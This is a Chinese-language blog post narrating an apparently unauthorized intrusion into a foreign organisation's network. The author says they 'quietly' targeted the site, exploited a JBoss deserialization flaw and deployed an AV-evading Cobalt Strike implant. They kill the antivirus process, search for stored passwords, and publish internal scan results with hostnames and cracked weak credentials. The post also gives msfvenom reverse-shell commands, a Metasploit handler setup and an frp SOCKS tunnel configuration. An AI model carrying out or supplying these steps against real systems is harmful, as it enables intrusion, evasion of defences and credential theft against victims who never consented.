HireHackking

工具准备jexboss Kali Linux CS 4.3 Windows杀软在线查询一 Windows杀软在线查询二 Windows杀软在线查询三 fscan 潮汐shellcode免杀 LSTAR CobaltStrike其他插件 PEASS-ng PrintSpoofer 外网打点1、为了练习内网横向，悄悄的盯上国外的站点 2、发现jboss网站存在反序列化漏洞，是呀jexboss无法利用成功 python jexboss.py -u https://xx.xx.xx/3、使用工具java反序列化终极测试工具 by 6哥成功利用 4、查看当前用户whoami，普通用户 5、查看IP地址ipconfig 6、查看是否有杀软tasklist /svc 7、将查询的内容粘贴到Windows杀软在线查询，发现存在杀软 8、查看服务器是否出网ping www.baidu.com，很不错，服务器出网 CS上线1、因为有杀软，我们要考虑绕过，直接上传CS木马肯定是不行的，本次绕过的是潮汐shellcode免杀，因为很多github上利用python打包的exe文件太大，上传很慢，而潮汐shellcode免杀文件较小，上传快。 2、CS先生成c语言的shellcode 3、将shellcode内容复制到潮汐网站上，生成的exe上传到目标机器，然后执行命令 C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide 4、CS成功上线 权限提升信息收集1、查看当前用户及特权 whoami whoami /priv 2、查看系统版本及补丁信息 systeminfo Nombre de host: AMEPROWEBEGAD Nombre del sistema operativo: Microsoft Windows 10 Pro Versi¢n del sistema operativo: 10.0.19044 N/D Compilaci¢n 19044 Fabricante del sistema operativo: Microsoft Corporation Configuraci¢n del sistema operativo: Estaci¢n de trabajo miembro Tipo de compilaci¢n del sistema operativo: Multiprocessor Free Propiedad de: appzusr Organizaci¢n registrada: Id. del producto: 00331-10000-00001-AA727 Fecha de instalaci¢n original: 13/5/2022, 14:03:47 Tiempo de arranque del sistema: 1/2/2023, 16:50:29 Fabricante del sistema: VMware, Inc. Modelo el sistema: VMware Virtual Platform Tipo de sistema: x64-based PC Procesador(es): 2 Procesadores instalados. [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz Versi¢n del BIOS: Phoenix Technologies LTD 6.00, 12/11/2020 Directorio de Windows: C:\Windows Directorio de sistema: C:\Windows\system32 Dispositivo de arranque: \Device\HarddiskVolume1 Configuraci¢n regional del sistema: ezs-mx;Espa¤ol (M‚xico) Idioma de entrada: es-mx;Espa¤ol (M‚xico) Zona horaria: (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey Cantidad total de memoria f¡sica: 4.095 MB Memoria f¡sica disponible: 1.201 MB Memoria virtual: tama¤o m ximo: 4.799 MB Memoria virtual: disponible: 1.147 MB Memoria virtual: en uso: 3.652 MB Ubicaci¢n(es) de archivo de paginaci¢n: C:\pagefile.sys Dominio: ame.local Servidor de inicio de sesi¢n: \\AMEPROWEBEGAD Revisi¢n(es): 4 revisi¢n(es) instaladas. [01]: KB5004331 [02]: KB5003791 [03]: KB5006670 [04]: KB5005699 Tarjeta(s) de red: 1 Tarjetas de interfaz de red instaladas. z [01]: Intel(R) PRO/1000 MT Network Connection Nombre de conexi¢n: Ethernet0 DHCP habilitado: No Direcciones IP [01]: 172.16.2.100 [02]: fe80::591:ae09:eee1:888e Requisitos Hyper-V: Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.3、查看开放的端口服务netstat -ano Conexiones activas Proto Direcci¢n local Direcci¢n remota Estado PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 600 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1090 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:1098 0.0.0.0:0 LISTENING 7600 TCP z 0.0.0.0:1099 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1072 TCP 0.0.0.0:3873 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4445 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4446 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4457 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4712 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:4713 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 6652 TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:7070 0.0.0.0:0 LISTENING 3564 TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:8080 0.0.0.0:0 z LISTENING 7600 TCP 0.0.0.0:8083 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:46305 0.0.0.0:0 LISTENING 7600 TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 832 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 680 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1416 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1612 TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2452 TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 832 TCP 0.0.0.0:49672 0.0.0.0:0 LISTENING 3404 TCP 0.0.0.0:49704 0.0.0.0:0 LISTENING 820 TCP 0.0.0.0:49708 0.0.0.0:0 LISTENING 3048 TCP 0.0.0.0:51407 0.0.0.0:0 LISTENING 7600 TCP 127z.0.0.1:5140 0.0.0.0:0 LISTENING 7172 TCP 127.0.0.1:51411 0.0.0.0:0 LISTENING 7600 TCP 172.16.2.100:139 0.0.0.0:0 LISTENING 4 TCP 172.16.2.100:8080 172.16.12.34:42602 TIME_WAIT 0 TCP 172.16.2.100:8080 172.16.12.34:42610 ESTABLISHED 7600 TCP 172.16.2.100:8080 172.16.12.34:55672 TIME_WAIT 0 TCP 172.16.2.100:8080 172.16.12.34:55686 TIME_WAIT 0 TCP 172.16.2.100:49717 38.90.226.62:8883 ESTABLISHED 3576 TCP 172.16.2.100:50848 172.16.2.100:51407 TIME_WAIT 0 TCP 172.16.2.100:51413 172.16.2.190:1433 ESTABLISHED 7600 TCP 172.16.2.100:51447 172.16.2.190:1433 ESTABLISHED 7600 TCP 172.16.2.100:56063 172.16.2.11:2222 ESTABLISHED 3576 TCP 172.16.2.100:56538 92.223.66.48:443 ESTABLISHED 3564 TCP [::]:135 [::]:0 LISTENINzG 600 TCP [::]:445 [::]:0 LISTENING 4 TCP [::]:1090 [::]:0 LISTENING 7600 TCP [::]:1098 [::]:0 LISTENING 7600 TCP [::]:1099 [::]:0 LISTENING 7600 TCP [::]:3389 [::]:0 LISTENING 1072 TCP [::]:3873 [::]:0 LISTENING 7600 TCP [::]:4444 [::]:0 LISTENING 7600 TCP [::]:4445 [::]:0 LISTENING 7600 TCP [::]:4446 [::]:0 LISTENING 7600 TCP [::]:4457 [::]:0 LISTENING 7600 TCP [::]:4712 [::]:0 LISTENING 7600 TCP [::]:4713 [::]:0 LISTENING 7600 TCP [::]:5985 [::]:0 LISTENING 4 TCP [::]:8009 z [::]:0 LISTENING 7600 TCP [::]:8080 [::]:0 LISTENING 7600 TCP [::]:8083 [::]:0 LISTENING 7600 TCP [::]:46305 [::]:0 LISTENING 7600 TCP [::]:47001 [::]:0 LISTENING 4 TCP [::]:49664 [::]:0 LISTENING 832 TCP [::]:49665 [::]:0 LISTENING 680 TCP [::]:49666 [::]:0 LISTENING 1416 TCP [::]:49667 [::]:0 LISTENING 1612 TCP [::]:49668 [::]:0 LISTENING 2452 TCP [::]:49671 [::]:0 LISTENING 832 TCP [::]:49672 [::]:0 LISTENING 3404 TCP [::]:49704 [::]:0 LISTENING 820 TCP [::]:49708 [::]:0 LISTENING 30z48 TCP [::]:51407 [::]:0 LISTENING 7600 UDP 0.0.0.0:123 *:* 1268 UDP 0.0.0.0:500 *:* 3040 UDP 0.0.0.0:3389 *:* 1072 UDP 0.0.0.0:4500 *:* 3040 UDP 0.0.0.0:5050 *:* 6652 UDP 0.0.0.0:5353 *:* 1432 UDP 0.0.0.0:5355 *:* 1432 UDP 0.0.0.0:50001 *:* 3564 UDP 0.0.0.0:50007 *:* 1240 UDP 0.0.0.0:56152 *:* 1240 UDP 0.0.0.0:61593 *:* 1240 UDP 0.0.0.0:64843 *:* 1240 UDP 127.0.0.1:1900 *z:* 2876 UDP 127.0.0.1:50434 *:* 832 UDP 127.0.0.1:55588 *:* 2876 UDP 127.0.0.1:65220 *:* 1868 UDP 127.0.0.1:65222 *:* 2360 UDP 172.16.2.100:137 *:* 4 UDP 172.16.2.100:138 *:* 4 UDP 172.16.2.100:1900 *:* 2876 UDP 172.16.2.100:55587 *:* 2876 UDP [::]:123 *:* 1268 UDP [::]:500 *:* 3040 UDP [::]:3389 *:* 1072 UDP [::]:4500 *:* 3040 UDP [::]:5353 *:* 1432 z UDP [::]:5355 *:* 1432 UDP [::1]:1900 *:* 2876 UDP [::1]:55586 *:* 2876 UDP [fe80::591:ae09:eee1:888e%13]:1900 *:* 2876 UDP [fe80::591:ae09:eee1:888e%13]:55585 *:* 28764、查看网卡信息shell ipconfig /all Configuración IP de Windows Nombre de host. . . . . . . . . : AMEPROWEBEGAD Sufijo DNS principal . . . . . : ame.local Tipo de nodo. . . . . . . . . . : híbrido Enrutamiento IP habilitado. . . : no Proxy WINS habilitado . . . . . : no Lista de búsqueda de sufijos DNS: ame.local Adaptador de Ethernet Ethernet0: Sufijo DNS específico para la conexión. . : Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE DHCP habilitado . . . . . . . . . . . . . : no Configuración automática habilitada . . . : sí Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido) Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido) Máscara de subred . . . . . . . . . . . . : 255.255.255.0 Puerta de enlace predeterminada . . . . . : 172.16.2.254 IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862 DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20 10.0.0.1 NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado 5、路由表信息shell arp -a Interfaz: 172.16.2.100 --- 0xd Dirección de Internet Dirección física Tipo 172.16.2.11 00-50-56-b2-ac-66 dinámico 172.16.2.20 00-50-56-b2-d2-30 dinámico 172.16.2.150 00-90-a9-d6-91-01 dinámico 172.16.2.190 00-50-56-b2-99-b0 dinámico 172.16.2.254 00-00-5e-00-01-02 dinámico 172.16.2.255 ff-ff-ff-ff-ff-ff estático 224.0.0.22 01-00-5e-00-00-16 estático 224.0.0.251 01-00-5e-00-00-fb estático 224.0.0.252 01-00-5e-00-00-fc estático 239.255.255.250 01-00-5e-7f-ff-fa estático 6、是否存在域环境shell systeminfo，确实存在域环境 CS自带插件提权1、首先使用CS自带插件提权，无法提权成功，且提权后，CS就失去主机控制，应该是提权进程被杀软发现（包括第三方提权插件都不行）。 结束杀软进程1、我们来尝试一下是否可以关闭杀软，通过上面信息知道杀软进程名MsMpEng.exe，通过进程对比可以发现，杀软已经被我们关闭了。 tskill MsMpEng tasklist /svc Windows-Exploit-Suggester1、安装更新脚本 python2 -m pip install --user xlrd==1.1.0 python2 windows-exploit-suggester.py --update2、将上面收集的systeminfo内容复制到systeminfo.txt，查找对应的漏洞 python2 ./windows-exploit-suggester.py --database 2023-02-06-mssb.xls --systeminfo systeminfo.txt 3、将查找的exp上传测试提权，发现都不成功。 PEASS-ng1、上传到目标机器，无法执行，被杀软发现了，虽然已经关闭杀软进程，但是过一会，杀软自启动 winPEASany.exe log=result.txt 查看SAM密码文件1、SAM密码文件位置 system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM2、由于不是管理员账号，无法查看 windows敏感文件1、查看最近打开的文档 dir %APPDATA%\Microsoft\Windows\Recent2、递归搜索后面文件的password字段 findstr /si password config.* *.ini *.txt *.properties3、递归查找当前目录包含conf的文件 dir /a /s /b "*conf*" > 1.txt4、递归查找目录下的txt中的password字段 findstr /s /i /c:"Password" 目录\*.txt5、递归查找目录下的敏感文件输出到桌面123.txt中 for /r 目录 %i in (account.docx,pwd.docx,login.docx,login*.xls) do @echo %i >> C:\tmp\123.txt6、指定目录搜索各类敏感文件 dir /a /s /b d:\"*.txt" dir /a /s /b d:\"*.xml" dir /a /s /b d:\"*.mdb" dir /a /s /b d:\"*.sql" dir /a /s /b d:\"*.mdf" dir /a /s /b d:\"*.eml" dir /a /s /b d:\"*.pst" dir /a /s /b d:\"*conf*" dir /a /s /b d:\"*bak*" dir /a /s /b d:\"*pwd*" dir /a /s /b d:\"*pass*" dir /a /s /b d:\"*login*" dir /a /s /b d:\"*user*"7、收集各类账号密码信息 findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bakPrintSpoofer提权1、执行命令PrintSpoofer.exe -i -c cmd无法提权 PrintSpoofer.exe -i -c cmd 横向渗透fscan扫描1、上传fscan，执行shell "C:/Users/appusr/fscan64.exe" -h 172.16.2.1/24，发现存活35个IP，扫出很多网站 (icmp) Target 172.16.2.5 is alive (icmp) Target 172.16.2.9 is alive (icmp) Target 172.16.2.11 is alive (icmp) Target 172.16.2.20 is alive (icmp) Target 172.16.2.37 is alive (icmp) Target 172.16.2.38 is alive (icmp) Target 172.16.2.45 is alive (icmp) Target 172.16.2.46 is alive (icmp) Target 172.16.2.47 is alive (icmp) Target 172.16.2.32 is alive (icmp) Target 172.16.2.33 is alive (icmp) Target 172.16.2.31 is alive (icmp) Target 172.16.2.60 is alive (icmp) Target 172.16.2.70 is alive (icmp) Target 172.16.2.72 is alive (icmp) Target 172.16.2.80 is alive (icmp) Target 172.16.2.81 is alive (icmp) Target 172.16.2.86 is alive (icmp) Target 172.16.2.84 is alive (icmp) Target 172.16.2.85 is alive (icmp) Target 172.16.2.82 is alive (icmp) Target 172.16.2.100 is alive (icmp) Target 172.16.2.111 is alive (icmp) Target 172.16.2.117 is alive (icmp) Target 172.16.2.120 is alive (icmp) Target 172.16.2.83 is alive (icmp) Target 172.16.2.138 is alive (icmp) Target 172.16.2.146 is alive (icmp) Target 172.16.2.150 is alive (icmp) Target 172.16.2.170 is alive (icmp) Target 172.16.2.190 is alive (icmp) Target 172.16.2.195 is alive (icmp) Target 172.16.2.200 is alive (icmp) Target 172.16.2.87 is alive (icmp) Target 172.16.2.254 is alive [*] Icmp alive hosts len is: 35 172.16.2.38:22 open 172.16.2.120:21 open 172.16.2.20:22 open 172.16.2.37:22 open 172.16.2.150:21 open 172.16.2.117:22 open 172.16.2.82:22 open 172.16.2.111:22 open 172.16.2.81:22 open 172.16.2.72:22 open 172.16.2.70:22 open 172.16.2.45:21 open 172.16.2.60:22 open 172.16.2.37:80 open 172.16.2.11:80 open 172.16.2.200:22 open 172.16.2.83:22 open 172.16.2.150:22 open 172.16.2.170:22 open 172.16.2.146:22 open 172.16.2.138:22 open 172.16.2.120:80 open 172.16.2.84:80 open 172.16.2.81:80 open 172.16.2.85:80 open 172.16.2.86:80 open 172.16.2.70:80 open 172.16.2.60:80 open 172.16.2.87:22 open 172.16.2.11:135 open 172.16.2.20:135 open 172.16.2.5:135 open 172.16.2.83:80 open 172.16.2.200:80 open 172.16.2.170:80 open 172.16.2.82:80 open 172.16.2.117:80 open 172.16.2.11:139 open 172.16.2.20:139 open 172.16.2.9:139 open 172.16.2.5:139 open 172.16.2.195:135 open 172.16.2.190:135 open 172.16.2.100:135 open 172.16.2.84:135 open 172.16.2.195:139 open 172.16.2.190:139 open 172.16.2.170:139 open 172.16.2.150:139 open 172.16.2.120:139 open 172.16.2.100:139 open 172.16.2.84:139 open 172.16.2.60:139 open 172.16.2.84:443 open 172.16.2.85:443 open 172.16.2.86:443 open 172.16.2.80:443 open 172.16.2.72:443 open 172.16.2.70:443 open 172.16.2.60:443 open 172.16.2.11:443 open 172.16.2.87:443 open 172.16.2.9:445 open 172.16.2.5:445 open 172.16.2.170:443 open 172.16.2.83:443 open 172.16.2.120:443 open 172.16.2.82:443 open 172.16.2.81:443 open 172.16.2.170:445 open 172.16.2.150:445 open 172.16.2.120:445 open 172.16.2.100:445 open 172.16.2.84:445 open 172.16.2.60:445 open 172.16.2.20:445 open 172.16.2.11:445 open 172.16.2.5:5432 open 172.16.2.138:3306 open 172.16.2.38:3306 open 172.16.2.195:1433 open 172.16.2.190:1433 open 172.16.2.11:1433 open 172.16.2.195:445 open 172.16.2.190:445 open 172.16.2.100:8080 open 172.16.2.45:8080 open 172.16.2.9:135 open 172.16.2.86:8000 open 172.16.2.80:80 open 172.16.2.200:5432 open 172.16.2.111:5432 open 172.16.2.120:8080 open 172.16.2.150:9000 open 172.16.2.9:5432 open 172.16.2.85:8000 open [+] received output: 172.16.2.20:88 open [+] received output: 172.16.2.100:1099 open 172.16.2.80:2020 open 172.16.2.11:3128 open 172.16.2.120:3128 open [+] received output: 172.16.2.11:7070 open 172.16.2.70:7070 open 172.16.2.100:7070 open 172.16.2.84:7070 open 172.16.2.100:8009 open [+] received output: 172.16.2.120:8081 open 172.16.2.100:8083 open 172.16.2.80:8084 open [+] received output: 172.16.2.72:8200 open 172.16.2.86:8300 open 172.16.2.85:8300 open 172.16.2.20:8443 open [+] received output: 172.16.2.86:9080 open 172.16.2.85:9080 open 172.16.2.80:9084 open 172.16.2.80:9087 open [+] received output: 172.16.2.150:9443 open 172.16.2.84:10001 open 172.16.2.84:10002 open [+] received output: [*] alive ports len is: 120 start vulscan [*] NetInfo: [*]172.16.2.100 [->]AMEPROWEBEGAD [->]172.16.2.100 [*] NetInfo: [*]172.16.2.84 [->]ame-ro-nas [->]172.16.2.84 [*] NetInfo: [*]172.16.2.5 [->]db_ame [->]172.16.2.5 [*] NetInfo: [*]172.16.2.9 [->]backu [->]172.16.2.9 [*] NetInfo: [*]172.16.2.11 [->]Srv-Ant-Kas1 [->]172.16.2.11 [*] WebTitle: https://172.16.2.11 code:200 len:102 title:None [*] 172.16.2.9 (Windows Server 2003 3790 Service Pack 2) [*] WebTitle: http://172.16.2.117 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] NetBios: 172.16.2.190 AMEPRODBSIG01.ame.local Windows Server 2016 Standard 14393 [*] NetBios: 172.16.2.11 Srv-Ant-Kas1.ame.local Windows Server 2012 Standard 9200 [*] NetBios: 172.16.2.9 backup.ame.local Windows Server 2003 3790 Service Pack 2 [*] WebTitle: https://172.16.2.82 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82/restgui/start.html [*] WebTitle: http://172.16.2.120:3128 code:400 len:3157 title:ERROR: The requested URL could not be retrieved [*] WebTitle: http://172.16.2.200 code:403 len:4897 title:Apache HTTP Server Test Page powered by CentOS [*] WebTitle: http://172.16.2.84 code:401 len:0 title:None [*] WebTitle: https://172.16.2.87 code:200 len:83 title:None [+] Postgres:172.16.2.200:5432:postgres 123456 [*] WebTitle: http://172.16.2.80 code:301 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.80:443/ [*] WebTitle: http://172.16.2.82 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.82:443/ [*] 172.16.2.100 (Windows 10 Pro 19044) [*] WebTitle: http://172.16.2.11 code:302 len:0 title:None ÞÀ│Þ¢¼url: https://172.16.2.11/ [*] WebTitle: http://172.16.2.83 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83:443/ [*] WebTitle: http://172.16.2.86 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.86/ [*] WebTitle: http://172.16.2.81 code:302 len:208 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81:443/ [*] WebTitle: http://172.16.2.100:8083 code:404 len:0 title:None [*] NetBios: 172.16.2.195 AMEPRODBSIG01P.ame.local Windows Server 2016 Standard 14393 [*] WebTitle: http://172.16.2.11:3128 code:404 len:196 title:404 Not Found [*] WebTitle: https://172.16.2.83 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.83/restgui/start.html [*] WebTitle: https://172.16.2.86 code:200 len:258 title:None [*] WebTitle: https://172.16.2.70 code:200 len:4149 title:Management [*] WebTitle: http://172.16.2.150:9000 code:200 len:3509 title:Twonky Server [*] WebTitle: https://172.16.2.85 code:200 len:258 title:None [*] WebTitle: http://172.16.2.70 code:302 len:265 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.70/ [*] WebTitle: https://172.16.2.20:8443 code:302 len:83 title:None ÞÀ│Þ¢¼url: https://172.16.2.20:8443/Login/Index [*] WebTitle: https://172.16.2.72 code:301 len:84 title:None ÞÀ│Þ¢¼url: https://172.16.2.72/appwall-webui [*] WebTitle: https://172.16.2.80 code:200 len:3618 title:" + ID_VC_Welcome + " [*] WebTitle: https://172.16.2.81 code:302 len:222 title:302 Found ÞÀ│Þ¢¼url: https://172.16.2.81/restgui/start.html [*] WebTitle: http://172.16.2.120 code:200 len:553 title:None [*] WebTitle: http://172.16.2.37 code:302 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.37/app_Login [*] WebTitle: https://172.16.2.80:8084 code:501 len:0 title:None [*] NetBios: 172.16.2.170 AME\SYNOLOGYAME [*] WebTitle: https://172.16.2.86:9080 code:202 len:0 title:None [*] WebTitle: https://172.16.2.120 code:200 len:553 title:None [*] WebTitle: https://172.16.2.120:8081 code:403 len:266 title:403 Forbidden [*] WebTitle: https://172.16.2.80:9087 code:404 len:103 title:None [*] WebTitle: http://172.16.2.80:9084 code:404 len:103 title:None [*] WebTitle: http://172.16.2.45:8080 code:303 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.45:8080/home.htm [*] WebTitle: https://172.16.2.60 code:200 len:6391 title:None [*] WebTitle: http://172.16.2.60 code:200 len:6391 title:None [*] WebTitle: http://172.16.2.120:8080 code:403 len:266 title:403 Forbidden [+] 172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2) [*] WebTitle: http://172.16.2.170 code:200 len:543 title:None [*] 172.16.2.84 (Windows Storage Server 2016 Standard 14393) [*] WebTitle: http://172.16.2.85 code:301 len:56 title:None ÞÀ│Þ¢¼url: https://172.16.2.85/ [*] 172.16.2.120 (Unix) [*] 172.16.2.150 (Windows 6.1) [*] 172.16.2.60 (Windows 6.1) [*] NetBios: 172.16.2.120 NVR\NVRAME Unix [*] NetBios: 172.16.2.84 ame-pro-nas.ame.local Windows Storage Server 2016 Standard 14393 [*] NetBios: 172.16.2.60 AME\nas-60 Windows 6.1 [*] WebTitle: https://172.16.2.170 code:200 len:543 title:None [+] received output: [*] WebTitle: https://172.16.2.85/ code:200 len:258 title:None [*] WebTitle: https://172.16.2.86/ code:200 len:258 title:None [*] WebTitle: https://172.16.2.11/ code:200 len:102 title:None [*] WebTitle: https://172.16.2.80:443/ code:200 len:3618 title:" + ID_VC_Welcome + " [*] WebTitle: https://172.16.2.70/ code:200 len:4149 title:Management [*] WebTitle: https://172.16.2.20:8443/Login/Index code:200 len:2839 title:Zentyal [*] WebTitle: https://172.16.2.85:9080 code:202 len:0 title:None [*] WebTitle: http://172.16.2.70:7070 code:404 len:201 title:None [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None [+] InfoScan:https://172.16.2.80 [VMware vSphere] [*] WebTitle: https://172.16.2.83/restgui/start.html code:200 len:2458 title:None [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None [*] WebTitle: http://172.16.2.72:8200 code:301 len:0 title:None ÞÀ│Þ¢¼url: http://172.16.2.72:8200/Console/ [*] WebTitle: http://172.16.2.72:8200/Console/ code:404 len:0 title:None [*] WebTitle: https://172.16.2.82/restgui/start.html code:200 len:2458 title:None [*] NetBios: 172.16.2.150 wdmycloud Windows 6.1 [+] InfoScan:https://172.16.2.80:443/ [VMware vSphere] [*] WebTitle: https://172.16.2.72/appwall-webui/ code:200 len:4366 title:Radware Security Console [*] WebTitle: http://172.16.2.45:8080/logon.htm code:200 len:2872 title:APC | Log On [*] WebTitle: https://172.16.2.81/restgui/start.html code:200 len:2458 title:None [*] WebTitle: http://172.16.2.37/app_Login/ code:200 len:860 title:None [+] received output: ÕÀ▓Õ«îµêÉ 65/121 [-] ftp://172.16.2.45:21 wwwroot 123456!a 421 Service not available, closing control connection. [+] received output: ÕÀ▓Õ«îµêÉ 109/121 [-] ssh 172.16.2.87:22 root a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: [+] SSH:172.16.2.87:22:admin admin [+] received output: ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.70:22 admin test ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 110/121 [-] ssh 172.16.2.150:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 113/121 [-] ssh 172.16.2.38:22 admin abc123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 114/121 [-] ssh 172.16.2.117:22 admin 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 wwwroot 1 Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data 123456 Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 120/121 [-] ftp://172.16.2.150:21 data sysadmin Permission denied. [+] received output: ÕÀ▓Õ«îµêÉ 121/121 [*] µë½µÅÅþ╗ôµØƒ,ÞÇùµùÂ: 10m41.0832671s2、fscan扫描出来的漏洞，一处postgres弱口令，一处ms17-010，一处ssh弱口令 Postgres:172.16.2.200:5432:postgres 123456 172.16.2.5 MS17-010 (Windows Server 2003 3790 Service Pack 2) SSH:172.16.2.87:22:admin adminfrp代理1、由于无法提权成功，所以我们决定换一种思路，先拿下内网中其他主机，提权到管理员权限，最后再对域控渗透。 2、服务器frps.ini设置 [common] bind_addr = 0.0.0.0 bind_port = 7080 token = admin123 dashboard_user = admin dashboard_pwd = admin1233、启动服务端 ./frps -c ./frps.ini 4、frpc.ini配置如下 [common] server_addr = xx.xx.xx.xx server_port = 7080 token = admin123 tls_enable=true pool_count=5 [plugin_socks] type = tcp remote_port = 4566 plugin = socks5 plugin_user = admin plugin_passwd = admin123 use_encryption = true use_compression = true5、将frpc.exe和frpc.ini上传到受害机 6、CS中运行命令 shell "C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.exe -c C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/frpc.ini" 7、在服务器上可以看到，已经有连接返回了 8、在攻击机火狐浏览器foxyproxy插件中配置代理服务器 9、在火狐浏览器中访问https://172.16.2.72/appwall-webui/成功，说明frp内网穿透成功 10、为了方便测试，使用proxifier作为全局代理 msf上线1、因为扫出来一个ms17010，所以我们需要针对此漏洞进行利用，我选用目前公开的一些工具，虽然都没有免杀，但还是记录一下 kali linux1、kali Linux中设置proxychains后无法使用，也没有找到原因，因为proxychains只支持http代理，我搭建的环境可以，但真实环境就不得行，搞不懂，有知道的大佬请指点一二，在下感激不尽！ 潮汐在线免杀1、Metasploit 生成 C msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c 3、将生成的shellcode添加到潮汐shellcode免杀中，生成exe文件 4、上传执行后被杀软杀掉 Ant-AntV免杀1、msf生成bin文件 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=5555 -f raw -o 1.bin 2、将1.bin放到当前bean_raw路径下。执行python3 gen_trojan.py即可在当前dist目录下生成exe文件。 3、将exe文件上传到目标机器，执行shell C:/usr/desarrollo/jboss-5.1.0.GA/server/sigAmeServer/deploy/ROOT.war/mail_update_a50ca.exe无法成功反弹shell，应该是被杀软杀了，因为我本地测试可以正常反弹 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.123.33 set LPORT 5555 exploit CuiRi免杀1、msf生成shellcode msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=xx.xx.xx.xx LPORT=3333 -f c > shell.c2、生成免杀马 .\cuiri_win64.exe -f msf.txt 3、将生成的木马上传到目标主机，执行shell C:\usr\desarrollo\jboss-5.1.0.GA\server\sigAmeServer\deploy\ROOT.war\main.exe无法反弹shell，本地测试也是无法反弹shell AniYa免杀1、生成免杀马 2、将exe文件上传执行，无法绕过杀软，在本地测试可以成功上线 Postgresql getshell1、由于msf无法绕过杀软，我们决定从Postgresql入手，寻找突破点 2、开启proxifier代理工具 3、使用navicat连接postgresql 4、但是该机器是centos系统，我们要找的是Windows系统，所以先放弃这条路。 VMware vSphere1、有网站使用的是VMware vSphere 2、Google搜索一下VMware 